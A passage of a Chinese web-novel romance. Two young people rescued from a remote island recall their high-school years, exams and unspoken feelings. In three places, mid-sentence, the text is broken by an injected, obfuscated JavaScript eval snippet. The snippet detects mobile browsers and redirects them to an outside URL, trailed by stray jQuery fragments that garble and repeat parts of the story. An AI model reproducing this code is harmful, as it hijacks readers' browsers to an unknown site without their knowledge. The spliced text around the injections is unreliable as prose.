一直到太阳都快要落山了,两个人的耐心终于被消耗殆尽,人很饿,也很困,脑袋里空空一片的,非常疲倦。夜幕来临之时,这种留在荒岛不见天日的恐惧感逐渐加深。 随着一个冰凉冷血的生物在她的脚踝盘旋了阵,冷恻恻地一个刺痛感自下而上侵袭。 她被蛇咬了? 康妮的目光顺着疼痛的来源瞥去,身边的季瑞也顿时觉察到事情不妙,看到那一片鲜红的咬痕后,立刻俯身下去,企图像科普视频里教的那样操作。 挤压伤口,吮吸毒素之类的。 不知道是不是根本没起什么作用,康妮现在已经软塌塌地昏迷过去。 直到有一串脚步声窸窸窣窣地出现,他瞬间提高了警惕,抱着诸葛康妮的臂膊缓缓收紧。 后来,一束橙黄色的电筒光打在他们两个人的身上。 季瑞下意识地摸了摸自己裤兜里的手电筒,他没动手电。 那句听得不甚明白的海岛本地方音,跟缅语类似,先于那道光传过来。光打在两个人的身上,很名下这个持着手电筒的老头很明显被吓了一大跳。 并用自己并不标准的普通话问两个人怎么在这里。 “我们出海那天下了暴风雨,失事后就到了这个岛。”季瑞如实回应。 终于见到活人了! 能救他们出去吗??? 这个时候,他的心里充满了求生的渴望,却也十分警惕,不敢轻举妄动。观察着面前这个老头,思考着他的来路和动机。 老头子恍然大悟,竟然哈哈笑了几声,随手在四周找了会儿,摘了堆药草在嘴里咀嚼了片刻,吐出来,敷在诸葛康妮裸露的小腿肌肤上。 说是这样能解毒。 不是被蛇咬,是被一种长虫咬了,这种虫在他们这边的岛上很常见,处理起来也是就地选材,敷上就好了。 季瑞听着这个老头的指示,将康妮抱起来,跟在老头的身后。 走着走着就到了老头的车上,一辆小型的货车。 车里让人感觉有些不适,康妮这时候半睡半醒,斜斜地倚靠在季瑞的身上,发觉身体在后座上癫癫晃晃,缓缓睁开眼,终于意识到这里已经不是海岛。 她在他耳畔说了句话。 “这是哪儿啊?” “车上。”季瑞回应。 诸葛康妮瞬间清醒了大半,强撑起精神来,还是觉得头昏脑胀的,又闻到车上一股说不清道不明的血腥味。 她将这个讯息告诉了季瑞。 手机的信号已经越来越强烈。 老头将车很快地从一个栅栏处开进去,周围的路灯很昏暗,但视野逐渐被放大,这里很明显是一个村庄。不少村民在老头开车进来的时候,从家中探头。 大抵是对老头车上的两个外来人十分好奇。 季瑞握紧了诸葛康妮的手,手心渗着汗。 救援电话在这个时候适时地响起来,手机在亮屏的一瞬间电量散尽,彻底关机。 最稳妥的希望没了,他们只能按部就班地被带到这个村庄。 下车后,老头热情地邀请两人来到他的家,给他们煮了鱼肉,又去烧开了两壶水放在客房,也给两人准备了温暖的被窝。 这一举动终于使得两人降低了警惕心。 “你们两个是夫妻吧?” 诸葛康妮慌忙摇摇头。 “没有没有,我跟他没有关系。” 看到季瑞将目光转移到自己这里,眼神里的内容很丰富。康妮失笑,怎么感觉他没什么危机意识? 她又重新看了看老头的神态。 实在是说不上来哪里不对劲,毕竟是救她命的人,她甚至开始反思自己是不是有点杯弓蛇影,妄自揣度人心。 于是主动捧着热水上前,跟这个老头攀谈。 “大叔,您是这边的村民吗?” 老头点点头。 女孩子身边的那个男人又问老头这个村庄叫什么名字? 他回:“没有名字,我们这边是个岛,算是博州市的。” 无名岛。 “我们这边经济比较落后,要说到旅游业,也发展不到这样的偏僻乡镇里来,平时老百姓们在这里种种菜,养养牛羊猪,倒也是衣食丰足。” 今天晚上煮的这碗鱼面,就是当地非常有名的米粉特色。 很新鲜。 尤其是在人饿了的情况之下,就显得格外美味。 也是在当天晚上,老头的孙子回家之后,帮着爷爷宰猪,才知道今天傍晚时分,老头小型货车上的血腥味儿是怎么回事。 是猪血。 血臭浓郁,让人遐想纷纷。 误以为是什么?杀人犯?还是搞什么拐卖人口勾当的黑车。 老头的孙子正在上高中,在镇上离这边20来公里的学校上学。 每天去学校,要跟着隔壁家阿叔的三轮车一块儿上山再下山,再坐过一辆船,下来走个五六公里,才能正式抵达学校。 因此绝大部分时候,老头的孙子都会选择在学校休息,很少回家。 老头讲故事似的跟他们说着自己孙子在学校发生的事儿,还告诉他们如果想要手机信号,或者给手机充电,可以到孙子的学校里去看看。 那些支教老师们一定有法子。 老头让他们第二天跟着孙子去学校,这样想出去就很容易了。 老头讲故事似的跟他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812676|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着这些事儿,一直讲到两个人都困了。临睡之前,诸葛康妮还很诚恳地说等出了无名岛一定要好好感谢下救人的阿叔。 两个人在温暖柔软的大床上舒舒服服地好好睡了一觉。 第二天醒来,诸葛康妮首先警觉地睁开眼。 第一眼就看见老头的孙子趴在门缝后头好奇地看。 她惊得坐起身。 “别害怕,我是准备叫你们起来吃早饭呢!” 老头的孙子见两个人醒了,就把门推开,把托盘一整个端上来,直接垂放在诸葛康妮的大腿上。 菜品很朴素,自家养的小青菜和新鲜猪肉烩米粉。 很清淡,喝上一口,汤汁也很鲜美。 诸葛康妮这个时候也顾不到什么形象,没洗漱就开始吃起饭来。 已经是将近半个月的时间都没有吃上主食,她吃得狼吞虎咽,呛了好几口,面条差点没从鼻腔喷出来,把端碗坐在旁边季瑞看得哭笑不得。 风卷残云般消灭了面食,诸葛康妮就拉着小孩,要她带自己去学校。 实在在绝迹岛待的时间太长了,这种与社会脱轨的感觉太恐怖,她实在太想出去了。 小孩沉默了片刻,说是要和自己爷爷交代一声。 很快的。 诸葛康妮如愿以偿地坐上了那辆三轮车。 小男孩叫文森,张文森,无名岛的村民。 在镇上的第三中学上学。 “哥哥姐姐,你们上高中的时候是什么样的?” 张文森简单介绍了一下自己的校园生活,又开始唠家常式地问起他们两个的过往来。 诸葛康妮看着季瑞躺在三轮车里,嘴里衔着条狗尾巴草,上前就把那根草拔掉:“小孩问,我们当时上高中什么样呢?” “我们?” 季瑞颔首, “我们那时候,上的也是三中啊,真是巧了。” 三轮车上,几个人坐着,风扑烁烁地吹来。 又热又潮。 但目光定格之时,他才看到那个最真实的诸葛康妮。 眼睛明亮,带着光,最深处是她灵魂里独有的一股韧劲。 那一年盛夏。 诸葛康妮如愿以偿地读上了陵城市第三中学,属于另一种择校自费生。 其实大家心知肚明。 公费生是公费生。 择校生是择校生。 自费的就是借读生。 军训的时候就知道,虽然大家穿的都是一样的军训迷彩服,但是也会被诸葛康妮的自家父亲嘲笑为“伪军”。 因为她属于借读生。 借读生也就这么轻而易举地混进了这群优等生的队列当中,在去往陵城市第三中学的每个必经的公交站。 看着上车的那些叔叔阿姨伯伯婶婶,指着他们身上重点高中的迷彩服,告诉自己的小孩。 这些就是考上重点学校的好学生。 是好小孩。 诸葛康妮这个时候都会莫名地感觉到自卑。 因为她是假的,她只考了650多分,距离定向线足足差上30多分。 上了高中之后,和季瑞并不在同一个班儿。 一开始,她也准备上季瑞那个班儿,16班中澳班。 但诸葛康妮的妈妈明确拒绝,中澳班的学生,进校成绩都不好。如果说要花钱借读,那就去平行班,学风好。 只不过她妈妈预估错了。 24. 24 康妮早恋 诸葛康妮的妈妈预估错了。 准确来说,算是押错宝。 中澳班的氛围实在是太好了。 学生努力,老师给力,班级氛围融洽,有一个三观正,能力强的好班长季瑞,班级凝聚力强得不得了。 于是这个班,好到了变成一种惊悚的程度。 季瑞在刚开学那段时间就完全沉浸式地投入到了学习当中。 和中澳班16班的每一个同学一样,拼了命的学习。 在文理分班的最后一个考试前,拿下了让陵城三中火箭班家长都瞠目结舌的成绩。尤其是季瑞。 他登上了校园光荣榜前十。 自此在家里也抬起了头。 曾经是忘记带数学试卷叫家里人跑一趟送来都要被嫌弃记性差的小男孩,现在是只要张口有求必应的“学霸”。 帮忙带辅导资料的时候,季瑞家长甚至问儿子要不要给他多带一份肯德基双层牛肉堡补补。 没法子,陵城的家长实在是太重视学习了。 只要是学习好,你就成了家里的功臣。要是学习不好,让父母长辈操碎了心,那也算得上是家里的一大“罪人”。 两个人那时候常常在校园里偶遇,但自从不在一个班之后,彼此之间的距离被拉的很远。 有时候远远的遇到了点个头打个招呼就算结束,没有任何下文,只是知道双方都在同一个学校念书罢了。 学生时期最重要的事就是好好学习,至于那个喜欢的女孩子。 远远地望上一眼就好了。 唯一能够光明正大,坦坦荡荡地去看诸葛康妮。 还是在那次春季校园运动会。 她身上有了好大的改变。 一个平时在班级里,在校园里默不吭声,但愿跟个文蛤一样做个小透明的姑娘,成了陵城市第三中学的校园广播员。 伴随着高昂的运动进行曲,诸葛康妮稚嫩而坚定的播音腔在整个三中校园里回荡。 这个声音太熟悉了。对于季瑞来说,诸葛康妮的声音在他这里是最有辨识度的,奶声奶气还带着点儿鼻音。 很好听,但是他万万没想到诸葛康妮会选择播音艺考这条道路。 虽然自高中之后就很久没联系了,但他还是会在校园的各个角落里关注着她。那种喜欢一个人的感觉很难去精准描述,也难用些比喻概括。 他只知道,看到她就有一种既兴奋又痛苦的感受。 心里发涨发麻。 只能站在很远很远的地方,看着她在运动会的演讲台上播报着运动方阵的誓词,也能很敏锐地察觉到诸葛康妮的抑扬顿挫间悄悄散出来的矜持和紧张。 往往这个时候,他一定会比诸葛康妮更紧张。 全身心地代入进去。 直到诸葛康妮完美顺遂地完成属于自己作为广播员的任务。 时隔多年之后,当他们真正久别重逢,回顾这段高中时期的记忆,才会想起来,原来他们都曾在仟竹书店买过教辅,偷偷攒钱买杂志,吃着校园正门对面那家的饭团。 学到崩溃的时候就到正门口那家奶茶店里歇歇脚,在满墙都是爱心便签纸的小小奶茶店门面里面写下自己的梦想。 其实季瑞没什么特别远大的梦想。 他写的是,希望诸葛康妮变成一个幸福快乐的小孩,实现自己的梦想。 这个就是他的梦想。 …… 诸葛康妮听到季瑞说这样的话觉得很搞笑,她完全没意识到季瑞当年会写这样的便签。但笑着笑着她就开始严肃,完全笑不出来了,开始审视他们之间的感情。 从初中到高中,从高中再到大学,初入社会…… 他们重逢的时机很不巧,遭遇了这样的事,于是心里只能想着,我该如何生存下去,我该如何重新回到我应该在的,正常的社会生活当中。 她只想过离开海岛这件事,她没想过和季瑞会有什么其他的发展。 “真的假的,我不信,你会有这么好心?不是咒我???” 她只好这样自嘲。 “我就是这样一个特别重视友谊的人,我给433她们也写过高考加油的字条,也贴在那个奶茶店。果然大家的愿望都真的实现了。真是个神奇的奶茶店,等从海岛出去了,还得去那家奶茶店看看,写一个,事业顺遂。” 哦。 原来是这样。 不是只给她一个人写过,是全都有啊。 不过听季瑞这么一说,记忆瞬间被拉到了高中时期。 可以说,这是诸葛康妮学生时代最高兴最快乐的时期。 成绩照样不是班级前十名,但老师们都是特别好的老师,也是在这个阶段,她走上了学习艺术的道路。 每天拼了命的练习发声和基本功,练习完艺考的科目,就躲到艺考培训机构的舞蹈教室里面,背靠着冰凉的镜子,一边压腿一边背英语单词。 她从来都不是一个非常愿意用功的人,却在高一下学期的时候,下定决定要开始好好努力。 艺考生,尤其是分类一类的传媒艺考生,对于艺术课和文化课的要求都很高。 如果要念好学校,她不仅要拼命努力在时间夹缝中努力学习文化课,更要精进自己的专业课,甚至要控制体重。 忌油忌盐忌辣,少食多餐保持体重。 诸葛康妮上高中的时候经常饿得头晕眼花,于是陵城第三中学那条街最尽头的那家于玲烫菜就成了她的“救命稻草”。 烫菜而已,把油瘪掉就行,只要吃的都是蔬菜,就长不胖。 神奇的是,于玲烫菜真的长不胖。 “那是因为于玲烫菜不干净,吃了拉肚子。”季瑞躺在三轮车上讲出了当年的真相。 “你怎么……” “因为你每一次偷摸着从教育机构跑出来,到于玲烫菜偷吃垃圾食品,我都会跟着一起啊。于玲烫菜确实很好吃。” 他实话实说。 “你跟着一起?我怎么没有发现。” “那当然要问你自己。我还去你们机构上过地理小课,你们艺考班下课到时候,我专门跟你打了招呼,你礼貌地笑了一笑,完全没理我。”季瑞从鼻子里哼出一声,控诉着卖乖的样子。 “那你希望我怎么跟你打招呼啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812677|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “和小时候那样。” “那个时候大家都快成年了,怎么可能和小时候一样啊,男女授受不亲。”诸葛康妮用脚抵了抵身边的人,希望他离自己远点。 十路公交车通常都是粉色的车身,也是一辆会从淮海路、长江路、育才路经过的班车,司机师傅每天早晨都会先让学生们上车。 接着会用一种很神奇的节奏,又准又稳地在陵城三中7:30上早读课前,将学生们安全准时地送达育才路。 这一天,诸葛康妮下了车。 高高兴兴地从车上下来,背着自己的艺考专用黑色小书包走向艺考机构。 季瑞站在对面的斑马线上,恰逢红灯。 他被阻拦住,不得已停留在原地,却在十路公交车掠过的一瞬间,看到诸葛康妮走上前去牵起了一个男生的手。 那一瞬间,心脏扭做一团,他不可置信地揉了揉自己的眼睛。 多希望这件事是假的。 他知道自己这种故意制造偶遇的行为很病态,但他没有办法,他不能见不到诸葛康妮,更无法接受诸葛康妮一点点长大成熟,成为一个大人后,完全忘记了当初他这个好朋友,最后和其他的男生在一起,甚至和一个艺考班的男孩子在高考前谈恋爱。 他很烦躁,但是他知道自己没有立场去说她任何的不是。 所以也只能踱步走到了马路对面的延品文化,一边心不在焉地选着学习用品,一边毫无耐心地打开手机,翻阅着□□动态。 那一条动态蹦出来的瞬间,毫不夸张的,季瑞的世界崩塌了。 五颜六色的文具店也变成一片黑白色彩。 他回家后的第一件事就是胡思乱想,躺在床上,唯一一次没有刷套卷也没有恶补功课,就这样躺在自己卧室的床上。 脑袋跟针扎似的,思虑太多,一整宿都没睡着觉,最后在凌晨五六点的时候眯着了会儿,醒来就发现被子已经被自己拧成了梅干菜。 外边是老妈对儿子的呼喊。 “瑞?瑞啊?怎么还没起来,能来得及吗?” 季瑞母亲看儿子许久不起床,觉得罕见,站在儿子卧室的门口听了一会,发现一点动静没有,觉得奇怪就又多喊了几遍。 怎么会睡过呢? 事实是,他那一天真的睡过了,而且睡过了二十多分钟,当母亲喊他起床的时候,时针已经指向了早晨八点钟整。 一节三十分钟的早自习课已经结束了。 等他迟迟来到班级,班主任张蓉正在讲评期中语文试卷,看到班长季瑞一路小跑赶着来到班级里,站在班级门口喘着粗气,一脸憔悴。 蓉姐根本没多想,对着季瑞很温和地笑了笑:“你看看,学习学太狠了吧,都睡过了。” 季瑞有些窘迫无无地自容。 在蓉姐口中这个“学习学太狠”了的主人公,实际上是一个半夜躲在被子里挤出来几滴眼泪完全不符合男子汉形象的懦夫。 他坐在位置上,赫然。 这一天回家的晚上,他没有上晚自习,仍是想不通,心情郁闷到了极致,母亲对他很了解,基本上猜出来个七七八八。 25. 25 成绩单 “怎么?跟你喜欢的那个姑娘吵架了?” 季瑞妈妈眼睛弯月一样笑起来,一眼就能将失魂落魄的小兔崽子看穿。 哪有什么吵架?连讲话的机会都没有,他倒是希望诸葛康妮能够跟他吵架,就像初中那时候一样。 打人骂人甚至是和他发生矛盾,张口闭口就是“我要跟你绝交”。 …… 都不愿意结果是这样的。 他完全没有任何立场插手诸葛康妮的任何事,只能沉默着……非常孤独地一个人偷偷躲在家里,兀自难过。 非常死心眼地钻牛角尖,一头撞进死胡同里怎么也出不来,无法说服自己。 “那你就去追人家啊。” 季瑞的母亲实在是看不得儿子这样,无奈之下,给他提供了一个犯全天下高中生家长之大不讳的建议。 “她都有男朋友了。” 季瑞顺着母亲的话说下去,客厅里,那只荷包蛋已经被筷子捣成了蛋碎,母子两个人都沉默了。 即将进入高三的这个阶段,只有这样,无能为力。 他必须快速接受现实。 本以为母亲会告诉他“别想那么多了”“好好学习吧”“以后会遇到更好的”之类的话来安慰他。 但是都没有。 她和他一起沉默着,仿佛将儿子那存留在小房间密不透风的悲坳揉碎了咽下去,就像咽下这碟泡咸了的呛口陵城小姜。 还是忘不了她。 真是怎么样都不行。 无论在骑车上学的路上,还是周末下课后躺在陵城三中的操场上看晚霞,他总是期盼能够看到诸葛康妮。 多希望能回到曾经,和她一起躺在校园的绿荫下,谈天说地,分享八卦和日常,同她吵架。 好在两个人虽然不在一个班,但总算是同校。 是校友,更是文科班。 他们拥有一个共同的历史老师,历史老师的名字叫做张海峰。 同一个老师的好处就是,他可以找个非常恰当的理由,去“偷窥”诸葛康妮的一切。其实就是看看她每个月的月考都考了多少分儿。 今天同学433跑到张海峰的办公室去抱书。 历史习题和材料往往都是试卷和《小题狂练》。 最顶端放的那两张纸,毫无疑问就一定是两个班级,高二中澳班16班和高二平行班6班的月考成绩单。 季瑞今天没能第一时间冲到办公室帮老师搬书。 于是在下课的时候潜入高二6班,心心念念都是那张高二6班的成绩单。 “老师,我来帮您抱书了。” 张海峰收拾了下手中的例卷和课本,卷起来背在身后,看到16班的班长后,紧皱的眉头瞬间舒展开来。 他对这个中澳班16班的小班长印象很好。 踏实肯干,尊师敬长,一想到这个男生,就第一时间想到他爱学习。 当老师的,怎么会不喜欢爱学习的学生呢? “好啊,那你帮我搬一下。” 张海峰刚准备离开6班的教室,扭过头来一看,发现季瑞抱着书也不嫌累,站在高二六班不肯走。 左右环顾,也不知道在看些什么。 突然就抱着书走过来,像有什么事情似的。 张海峰笑笑:“怎么了?” “老师,您有高二6班的成绩单吗?今天怎么没看到?” 张海峰第一时间翻了翻书里的那张纸,其实那就是季瑞想要的成绩单。但他按下来,夹在书里,看着季瑞的眼神有些意味深长。 他看男孩子急着看那张成绩单,于是从书本里抽出来,递过去。 “怎么回事啊?非要看6班的成绩单?怎么老是要看?” 张海峰看到季瑞的目光快速从讲台成绩单上快速地扫视,又损他,“老是要看这个班成绩单,是不是有喜欢的人在啊?” 是不是…… 有喜欢的人啊? …… 大概是被这句话击中了,季瑞站在原地,抱着书的时候感觉到一阵阵的狼狈,心脏酸痛的抽搐着。 是啊。 6班就是有他很在意的人。 “哈哈哈,没有没有,老师。” 季瑞低着头,故作镇定地谦虚笑笑,目光落在六十几本作业的最上端,看到那本《小题狂练》的题头,“我就是想对比看看,自己和平行班的差距在哪里?” “还差距呢,你们班进来的分数比平行班低50分,回回模拟考都能追上火箭班,哪有什么可比性?” 张海峰拍了拍小伙子的肩膀。 “老师,知己知彼,百战不殆嘛。” 他还是给自己找了个理由。 要是能知道诸葛康妮的分数大概在什么位置,是不是还有机会能上同一个学校? ……算了。 他到底在想些什么? 为什么要意淫一个根本不存在,也毫无意义的事情?难不成还想着什么时候诸葛康妮会跟现在这个学艺术的男生分手,跟他出现在同一个大学之后回心转意吗? 他摇摇头,抱着书跟在张海峰的后面。 一阵熟悉的香气迎着风袭来,他停在原地。 看到诸葛康妮。 那里有个男生拦住了她的去路,诸葛康妮不胜其烦,一把推开,秀发甩甩,和广告里的模特似的。 那男孩子是诸葛康妮的“男朋友”。 但季瑞在心里想的却是,这个世界上怎么会有人的头发那样柔顺,跟电视机里的广告一样,顺滑得跟丝绸一样,他也终于能理解了,那些青春电影里关于画面的定格。 初中时全班一起观看的那一部《那些年,我们一起追过的女孩》,关于沈佳宜。 他的青春里面也有这样一个沈佳宜。 只一眼,这一帧画面就能在脑海里无限次重播。 吵架了吗?还是关系突然变差了? 诸葛康妮站在原地,看到季瑞后非常不好意思地别过头去,听到季瑞和自己打招呼后,非常勉强地回了一声。 “嗨康妮。” “嗨。” 诸葛康妮回应的时候,语气很弱,有种被纠缠的无奈。 但她并没有对他抛来求助的目光,季瑞想到了上初中那会的那个坐诸葛康妮旁边的那个黄毛小子。 现在这个和当年那个几乎没什么两样。 可惜,上课铃已经响了。 季瑞也不再是当年那个肆无忌惮的愣头青。 那是诸葛康妮自己的事,他无权干涉。 那时候的,一种带着幼稚感的成熟的行为,就是好好学习,拼命学习,争取让自己上光荣榜,这样就能让诸葛康妮第一时间在光荣榜上看到他。 从而被他鼓舞。 这是属于季瑞的,莫大的迷信。 当初康妮选择文科,是因为理科太差只能选择文科,但是季瑞就不同了,他傻乎乎地以为诸葛康妮会选择和他上同一个班,康妮只能选择文科,所以他就要选文科。 加之他认为自己成绩不算一流。 大家总是偏见十足,学文科的都不太聪明,实际上想把文科学好也是要下苦功夫的。 无论是新高考还是旧高考,出成绩是无数学子的执念。 “那是一段,非常非常美好的日子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812678|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 诸葛康妮躺在无名岛小村民张文森的小书包上,高中生小孩张文森从书包里抽出来一本历史书。 …… 历史第一、政治第一、地理第一。 文综三第一啊。 这还是中澳班吗? 外边儿一群火箭班的家长围在高三中澳班的门口,对照着自己班孩子的成绩单,和中澳班的学生们这样一比。 心里不乏有些失望和难过。 怎么能?考得这么好? 那张中澳班学生季瑞的政治试卷被老师们传到了火箭班的家长群,从这一天开始,火箭班那群瞧不上中澳班学生的家长,无一人吭声。 中澳班的老师们也得到了莫大的鼓舞,有时候倒是喜欢在家长群里面来点“强刺激”。 这些可都是当初低于你们家孩子一百来分的学生们啊,看看这笔记记的,再看看这次二模考试的卷子,写得条理清晰,层次分明,这试卷就是模范卷。 让你们家孩子都好好看看。 中澳班的季瑞写的卷子,为啥能考这么高的分。 那都是有原因的! 什么原因? 半夜三更不睡觉,突然在睡梦中想到一道题自己还没有摸透,于是赶紧从床上爬起来继续学习。 见缝插针地找老师问问题,甚至是科任老师刚从厕所里面出来,都得接受这帮中澳班小崽子们的问题轰炸。 大课间的时候,季瑞的课桌前常常大排长龙,他从会耐心地替班级同学解答。 帮助别人就是帮助自己,就是在这样温故而知新,没日没夜铆足一股劲,拼了命地学习。 才成就了这一切。 从此,就这么开启了没有任何家长再敢瞧不起进校分最低的中澳班的先河。 高考前最后一次全市统考,季瑞的地理单科考了全市第二。 这时候的他,数学成绩常年全班第一,年级前十。 那个淮河路带康妮和季瑞地理小课的地理男老师方平,特别喜欢叫他小季。 那一天是他们人生中很关键的一天。 快高考了。 陵城市第一中学不参加全省联考,但是陵城省三中参与这次联考。 这个小课班有不少都是三中的学生,为了第二天能够以最佳状态参与联考。 大部分三中的学生都请假了。 三中实验班和火箭班的学生都请假了,零零星星几个平行班的学生也在临上课的关头,让家长帮忙给老师打电话请假,理由无一例外都是为了考试。 “然后呢?然后呢?” 无名岛小村民张文森作为一个正在上高中的学生,对这种激动人心的励志高考小故事有着非常浓烈的兴趣,连连追问。 然后呢。 季瑞当然没有请假,他照常去上课。 课堂上,方平老师当然要一边翻着学习资料一边说:“季瑞,你明天是不是要参加联考?另外几个陵城省三中的孩子都请假了。” 季瑞态度如常,毫无波澜:“是的。” “明天联考,怎么他还来啊?” 其他几个陵城一中的学生惊讶地窃窃私语。 方平老师的下颌角扬起一个微不可查的高度,这大概就是对学生的一种赞许。 他很认真地回答:“因为小季同学,是很了不起的人。” 这就是一个很不值得一提的小事。 可是在很多很多年后,还是会因为这一件小事万分感慨,感慨方平老师真的是一个很棒很棒的老师。 也同样感慨自己,当初努力的时候,是这样的闪闪发光。 那么康妮呢? 26. 26 小幸运 她吗? 印象最深刻的那一次大概就是那节语文课。 她向来是一个成绩不算太好的学生。 高分就是与她无缘。 但是那一次,真的一切都改变了。因为人只要成功过一次,开悟了一次,就能明白其中的规律原理。 再一次的成功就会变得轻而易举。 而这个第一次就显得格外重要。 那一天她总是领不到自己的试卷,眼看着所有的试卷都已经被下发,诸葛康妮很着急,揣着最坏的打算,认为自己的试卷可能被弄丢了。 她着急忙慌地走上讲台,小心翼翼地询问。 “苏老师……我的试卷没有发到。” 她低着头,脸憋得挺红,看样子是真的挺着急,但是语文老师的“计谋”也算是得逞了。 “康妮,你先别着急,等会再说。” 等会儿再说? 苏老师这是什么意思?她将目光放回讲台下,看到前三排几个成绩优异的学生也没有拿到试卷,于是很快联想到了接下来可能发生的事情。 难道是她这次考得还行? “112分,王芷若,114分冯佳琪……” 讲台上,语文苏老师的声音清爽洪亮,一个个报着班级前十名的月考语文分数,但是这些名字里始终没有康妮。 诸葛康妮在报到110分的时候,屁股就已经离开了座位。她已经做好了这一次考110分的准备。 110分就不错了,她大概能考这么多分就已经是极限。 季瑞扯了扯诸葛康妮的衣角,和旁边坐着的小村民一样好奇,好奇她这个故事最终是个什么样的好结局。 看过故事的都知道,这样的节奏势必是个出乎意料又在情理之中的结尾。 “我考了多少分?” “考了130多。但这都不是最重要的,最重要的是,老师在最后的最后,像公布奥斯卡金像奖影帝影后一样,难以想象吧,就那样隆重的,最后一个公布了我的成绩。” 全班哗然,觉得不可思议。 诸葛康妮更是觉得不可思议,掌声和惊叹声中,她第一次体会到一脚踏入绵软的云端。 整个人都突然变得飘飘然,这种飘飘然绝对不是自大和膨胀,而是有种身处幻境的不真实感。 原来考高分,拿到好成绩是一件这么快乐的事情。 好像这种感觉在这个世界上根本不存在似的,实在是太陌生了。 是成功的感觉。 “诸葛康妮,132分,全班第一。” 这句话出现的时候,班级里明明很吵闹,在她的世界里却像是突然安静了下来。 一片沉寂的深空领域之中,静水流深,一滴水叮咚滴在泉底,让人心旷神怡。 这张卷子的字迹干净娟秀,大约在家中保留了两个多礼拜,就被淹没在许许多多的月考试卷当中。 很多时候,她不是第一名,但仅仅这一次的成功,给了她莫大的信心。 原来,我也可以成功,哪怕就一次。 后来高三六班文科班换了一个年长的语文老师,姓陈名军。也是一个极好极好的老师。 会在课堂中出乎意料地一把夺过诸葛康妮的语文笔记本,大肆夸耀,也会在很多让人意想不到的时刻,拿起她的语文试卷,将她的大作文作为范文朗诵。 后来,她的艺考之路也很顺利。 她成功地考到了全市第一。 无数个不知名的清晨,她就是千万万艺考生中非常普通的一个,也是极为不普通的一个。 高中一共就三年,每一个365天从不缺席,每天早晨五点钟醒来,洗头发,锻炼身体,练声练习基本功。 也许这就是坚持的力量。 坚持的力量能让一个普普通通,内向又腼腆,初中的时候在公众场合说一段完整的话都要面红心跳、战战兢兢的小女孩,变成艺考考场上基本功扎实,横扫一系列天赋选手的存在。 “我记得,你那个时候考得很好,我们整个陵城省三中的学生都知道。” 季瑞望天,前方不远处就是小男孩张文森的高中。 天还是一样的蓝,亦如许多年前一样。 “我想起来一个完整的过去的小故事。” 他指了指蓝天。 “那天,天也是这样的蓝,我在陵城三中的大门口等了你好久,想找你说话,但是一直都没有等到。后来我在网吧里查省模拟联考的成绩,在Q.Q空间逛了好久。” 诸葛康妮立刻从三轮车里很麻利地爬下去。 “Q.Q空间?看谁的动态。我的吗?我那时候好像很喜欢追韩娱的明星,因为没有手机,平时的娱乐方式就是去音悦台这个网站下载MV来看,很多都是欧美和韩娱的。” “我知道。”季瑞回。 “你怎么会知道。” “我就是知道,因为我关心。”他继续说,“你那会儿很喜欢AOA这个女团,其实你是初中就喜欢了,有一天你应该是发了个Q.Q动态,说MV男主角丹尼尔好帅,身上的纹身很多,但是也很好看,一点儿都不违和。” “你记得好清楚。”诸葛康妮顿住,开始审判他,“原来你初中毕业之后一直在视奸我,真是令人意想不到。” “后面我们聊上天了。” “什么,我完全不记得了。”康妮盯住身边的人。 “我就说,魔力红乐队的主唱,身上也有纹身,也很帅。” 女孩一门心思追星,男孩一门心思想引起女孩的注意。 一个小故事就是这样。 两个人跟着小孩哥张文森来到了村里的高中校园。 很快,手机重新恢复信号,诸葛康妮很快被小孩带到了老师办公室,回到了这样熟悉的地方,她也终于想起来她的身份。 她已经毕业快三年了,是个高校辅导员。 教师办公室,一个充满忙碌氛围的地方。老师们忙忙碌碌地游走在办公室之间,改卷开会批评教育学生,忙了很久才能关注到诸葛康妮和季瑞。 招呼他们到学校的空教室里休息,后来又让他们在办公室里手机充上了电,手机也有了信号。 诸葛康妮的辅导员工作挂在学生处,已经办理停薪留职。 两人失踪的消息在两个礼拜前传得沸沸扬扬。 现在已经没有多少人关注此事。 唯一担心他们的,只有父亲母亲。 她很快发送信息回家,告诉他们自己没事,已经到了镇上的高中,现在正在和镇上的几个老师商量离开无名岛,回到内陆。

